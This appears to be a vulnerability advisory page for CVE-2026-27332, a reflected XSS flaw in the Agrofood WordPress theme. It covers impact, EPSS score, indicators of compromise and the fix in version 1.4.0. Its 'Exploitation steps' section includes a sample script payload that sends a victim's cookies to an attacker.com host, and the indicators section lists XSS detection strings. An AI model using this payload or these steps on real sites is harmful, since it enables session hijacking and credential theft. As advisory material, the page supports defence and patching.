CVE-2026-27332
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-27332 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Agrofood WordPress theme developed by skygroup. It affects all versions of the Agrofood theme prior to 1.4.0 (specifically through version 1.3.0). The vulnerability was discovered by Tran Nguyen Bao Khanh (VCI - VNPT Cyber Immunity) on December 4, 2025, and publicly disclosed on March 3–5, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. The root cause is insufficient sanitization and escaping of user-supplied input that is reflected back in the generated web page without proper encoding. An unauthenticated remote attacker can craft a malicious URL containing a JavaScript payload; when a victim (typically a logged-in user) clicks the link, the script executes in their browser within the context of the affected site. No authentication is required on the attacker's side, though user interaction is required for successful exploitation (Patchstack).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who interacts with a crafted link, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and injection of malicious content (redirects, advertisements, phishing overlays) into the affected WordPress site. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the victim's browser session. While confidentiality and integrity impacts are rated low individually, the combination poses meaningful risk to site visitors and administrators, and Patchstack notes these vulnerability types are commonly used in mass-exploit campaigns targeting thousands of WordPress sites (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2026-27332 at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack has flagged it as a medium-priority issue with potential for use in mass-exploit campaigns targeting WordPress themes, consistent with the broader threat landscape for reflected XSS in WordPress plugins and themes (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the Agrofood theme (versions < 1.4.0) via web crawlers, Shodan, or WordPress-specific scanning tools that detect theme names and versions from page source or HTTP headers.
  2. Identify vulnerable parameter: Locate the input parameter(s) within the Agrofood theme that reflect user-supplied data back into the page response without proper sanitization (e.g., search fields, URL query parameters processed by the theme).
  3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with an XSS payload, such as https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver payload: Send the crafted URL to a target victim (e.g., a site administrator or logged-in user) via phishing email, social engineering, or by embedding it in a forum post or comment.
  5. Achieve objective: When the victim clicks the link and their browser renders the reflected script, the attacker's JavaScript executes — enabling session cookie theft, credential harvesting, or unauthorized actions performed in the victim's authenticated context (Patchstack).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to attacker-controlled domains immediately after visiting a WordPress site running the Agrofood theme; unusual GET/POST requests to the site containing encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:) in URL query parameters.
  • Logs: Web server access logs showing requests to Agrofood theme pages with suspicious query strings containing XSS patterns (e.g., <script>, onerror=, onload=, alert(, document.cookie); referrer headers pointing to external phishing or attacker-controlled pages.
  • Browser/Client: Unexpected redirects to unknown domains after visiting the site; browser developer tools showing injected <script> tags in page DOM not present in the original theme source.

Mitigation and workarounds

The vendor (skygroup) has released Agrofood theme version 1.4.0, which resolves this vulnerability. All users running Agrofood versions 1.3.0 and below should update to version 1.4.0 or later immediately via the WordPress theme update mechanism. As an interim measure, Patchstack has issued a virtual patching/mitigation rule for Patchstack-protected sites to block exploitation attempts until the theme is updated. If updating is not immediately possible, site owners should consult their hosting provider or web developer for assistance (Patchstack).

Community reactions

The vulnerability was reported through Patchstack's coordinated disclosure process by researcher Tran Nguyen Bao Khanh of VCI - VNPT Cyber Immunity. Patchstack classified it as medium priority and noted its potential for use in mass-exploit campaigns targeting WordPress sites. No significant broader media coverage or notable social media discussion beyond automated CVE notification channels (e.g., CVEnew on Twitter/Nitter) has been observed (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management